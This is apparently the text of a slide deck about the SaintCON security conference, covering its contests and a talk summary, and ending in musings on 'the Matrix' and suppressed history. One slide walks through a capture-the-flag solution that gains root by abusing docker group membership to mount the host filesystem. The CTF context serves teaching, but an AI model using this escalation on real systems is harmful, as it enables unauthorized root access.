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By James Reynolds



About SaintCON
• Security conference in Utah for 14 years


• Basic to advanced security training: wifi and wired network, 
servers, cloud services, web frameworks, workstation, 
application, database, password, physical, user, and privacy


• Communities: hardware hacking, mobile hacking, tamper 
evident, hacker labs, lock picking, packet capture


• Contests: Hackers Challenge, The Vault, Escape Challenge 
“Los Santos”, Wireless Hunt, Red vs. Blue, Password 
Cracking, Donkey Car Racing



• Roleplay being captured by drug gang


• 5 minutes to escape zip tie (or handcuffs) and locked door


• Extra points for cracking the safe and getting evidence (a 
disc and bag of white "powder")





• Roleplay FBI team gathering evidence of suspected illegal 
activities


• Requires lock-picking, RFID hacking, software defined 
radio hacking


• $500 prize





Hackers Challenge
• Hackers Challenge was originally used to provide 

"Something else to do" during less interesting presentations, 
but has become a serious and high skills driven game


• Jeopardy like game


• All questions start off at 10000 points


• Each successful answer divides the points (X/2=5000,  
X/3=3333, X/4=2500, X/5=2000, etc)





Fun Example

• ssh -p2222 saintcon@54.214.94.66


• password: ********


• Get the flag in /root/flag.txt

mailto:saintcon@54.214.94.66


Answer

• ps awwx (docker was running)


• Web search “docker escalation” (don't use the 'docker' 
group)


• id (they were using the 'docker' group)


• docker run -v /:/hostOS -i -t chrisfosterelli/rootplease


• cat /root/flag.txt





Richard Thieme

• Author


• “Fiction”, Wired, Forbes, salon.com


• A hacker [grand] father figure


• Been speaking at Def Con 20+ years


• Was an Episcopal priest in Midvale

http://salon.com


Freeing the Mind: Security and 
Power in a world without walls
• Identity = who you think you are


• Identity = measurements of your behavior (meta data)


• With enough meta data it’s possible to know you better 
than you know yourself


• Big corporations (and the NSA) have all the data they need


• They are never going to give it up


• There is no going back



I think I’ve got this Matrix 
thing figured out…
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What is the Matrix?



What is narrative?











“All official history is 
propaganda. If you want truth, 

you have to struggle for it.” 
– John Taylor Gatto, 2003 

(celebrated New York teacher, 
author of The Underground 

History of American Education)

“I am now quite sure that 
‘Tragedy and Hope’ was 

suppressed although I do not 
know why or by whom.” 
– Carroll Quigley, 1974 

(celebrated Georgetown 
University professor, 

author of the history book, 
Tragedy and Hope)

https://en.wikipedia.org/wiki/The_Underground_History_of_American_Education
https://en.wikipedia.org/wiki/The_Underground_History_of_American_Education


• John Taylor Gatto, The Underground History of American 
Education


• Carroll Quigley, Tragedy and Hope 

• Follow the Money: Public School - 16 minute YouTube vid

https://en.wikipedia.org/wiki/The_Underground_History_of_American_Education
https://en.wikipedia.org/wiki/The_Underground_History_of_American_Education








That’s the Matrix





Questions?


